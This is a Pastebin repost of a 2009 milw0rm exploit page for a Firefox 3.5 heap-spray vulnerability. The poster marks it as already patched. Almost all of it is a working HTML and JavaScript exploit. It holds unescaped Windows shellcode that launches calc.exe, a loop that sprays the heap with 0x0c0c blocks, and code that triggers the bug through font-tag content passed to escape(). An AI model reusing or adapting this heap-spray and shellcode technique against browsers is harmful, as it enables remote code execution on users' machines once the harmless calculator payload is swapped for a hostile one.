API tools faq
paste
Advertisement
r00t-3xp10it

[ allready patched :( ] Firefox 3.5 Heap Spray Vulnerabilty

r00t-3xp10it
Dec 5th, 2014
344
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 3.22 KB | None | 0 0
raw download clone embed print report
  1. <html>
  2. <head>
  3. <title>Firefox 3.5 Vulnerability</title>
  4. Firefox 3.5 Heap Spray Vulnerabilty
  5. </br>
  6. Author: SBerry aka Simon Berry-Byrne
  7. </br>
  8. Thanks to HD Moore for the insight and Metasploit for the payload
  9. <div id="content">
  10.  
  11. <p>
  12. <FONT>                            
  13. </FONT>
  14. </p>
  15. <p>
  16. <FONT>Loremipsumdoloregkuw</FONT></p>
  17. <p>
  18.  
  19. <FONT>Loremipsumdoloregkuwiert</FONT>
  20. </p>
  21. <p>
  22. <FONT>Loremikdkw  </FONT>
  23. </p>
  24. </div>
  25. <script language=JavaScript>
  26.  
  27.  
  28. /* Calc.exe */
  29. var shellcode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800"+  
  30.                        "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +  
  31.                        "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +  
  32.                        "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +  
  33.                        "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +  
  34.                        "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +  
  35.                        "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +  
  36.                        "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +  
  37.                        "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +  
  38.                        "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +  
  39.                        "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +  
  40.                        "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +  
  41.                        "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +  
  42.                        "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +  
  43.                        "%u652E%u6578%u9000");
  44. /* Heap Spray Code */            
  45. oneblock = unescape("%u0c0c%u0c0c");
  46. var fullblock = oneblock;
  47. while (fullblock.length<0x60000)  
  48. {
  49.    fullblock += fullblock;
  50. }
  51. sprayContainer = new Array();
  52. for (i=0; i<600; i++)  
  53. {
  54.    sprayContainer[i] = fullblock + shellcode;
  55. }
  56. var searchArray = new Array()
  57.  
  58. function escapeData(data)
  59. {
  60. var i;
  61. var c;
  62. var escData='';
  63. for(i=0;i<data.length;i++)
  64.  {
  65.   c=data.charAt(i);
  66.   if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c);
  67.   escData+=c;
  68.  }
  69. return escData;
  70. }
  71.  
  72. function DataTranslator(){
  73.    searchArray = new Array();
  74.    searchArray[0] = new Array();
  75.    searchArray[0]["str"] = "blah";
  76.    var newElement = document.getElementById("content")
  77.    if (document.getElementsByTagName) {
  78.        var i=0;
  79.        pTags = newElement.getElementsByTagName("p")
  80.        if (pTags.length > 0)  
  81.         while (i<pTags.length)
  82.        {
  83.            oTags = pTags[i].getElementsByTagName("font")
  84.            searchArray[i+1] = new Array()
  85.            if (oTags[0])  
  86.            {
  87.                searchArray[i+1]["str"] = oTags[0].innerHTML;
  88.            }
  89.            i++
  90.        }
  91.    }
  92. }
  93.  
  94. function GenerateHTML()
  95. {
  96.    var html = "";
  97.    for (i=1;i<searchArray.length;i++)
  98.    {
  99.        html += escapeData(searchArray[i]["str"])
  100.    }    
  101. }
  102. DataTranslator();
  103. GenerateHTML()
  104.  
  105. </script>
  106. </body>
  107. </html>
  108. <html><body></body></html>
  109.  
  110. # milw0rm.com [2009-07-13]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!